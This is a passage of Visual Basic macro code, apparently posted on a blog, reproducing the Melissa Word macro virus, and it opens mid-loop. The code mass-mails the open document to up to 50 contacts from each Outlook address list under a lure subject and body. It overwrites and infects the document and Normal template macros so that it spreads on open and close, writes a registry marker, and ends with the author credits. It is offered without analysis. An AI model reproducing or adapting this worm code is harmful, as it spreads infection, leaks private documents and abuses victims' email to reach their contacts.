For y = 1 To DasMapiName.AddressLists.Count 
Set AddyBook = DasMapiName.AddressLists(y) 
x = 1 
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) 
For oo = 1 To AddyBook.AddressEntries.Count 
Peep = AddyBook.AddressEntries(x) 
BreakUmOffASlice.Recipients.Add Peep 
x = x + 1 
If x > 50 Then oo = AddyBook.AddressEntries.Count 
Next oo 
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName 
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" 
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName 
BreakUmOffASlice.Send 
Peep = "" 
Next y 
DasMapiName.Logoff 
End If 
p$ = "clone" 
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo" 
End If 
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) 
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) 
NTCL = NTI1.CodeModule.CountOfLines 
ADCL = ADI1.CodeModule.CountOfLines 
BGN = 2 
If ADI1.Name <> "Melissa" Then 
If ADCL > 0 Then _ 
ADI1.CodeModule.DeleteLines 1, ADCL 
Set ToInfect = ADI1 
ADI1.Name = "Melissa" 
DoAD = True 
End If 
If NTI1.Name <> "Melissa" Then 
If NTCL > 0 Then _ 
NTI1.CodeModule.DeleteLines 1, NTCL 
Set ToInfect = NTI1 
NTI1.Name = "Melissa" 
DoNT = True 
End If 
If DoNT <> True And DoAD <> True Then GoTo CYA 
If DoNT = True Then 
Do While ADI1.CodeModule.Lines(1, 1) = "" 
ADI1.CodeModule.DeleteLines 1 
Loop 
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") 
Do While ADI1.CodeModule.Lines(BGN, 1) <> "" 
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) 
BGN = BGN + 1 
Loop 
End If 
p$ = "clone" 
If DoAD = True Then 
Do While NTI1.CodeModule.Lines(1, 1) = "" 
NTI1.CodeModule.DeleteLines 1 
Loop 
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") 
Do While NTI1.CodeModule.Lines(BGN, 1) <> "" 
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) 
BGN = BGN + 1 
Loop 
End If 
CYA: 
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then 
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName 
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then 
ActiveDocument.Saved = True: End If 
'WORD/Melissa written by Kwyjibo 
'Clone written by Duke/SMF 
'Works in both Word 2000 and Word 97 
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! 
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." 
End Sub

Category: 0 komentar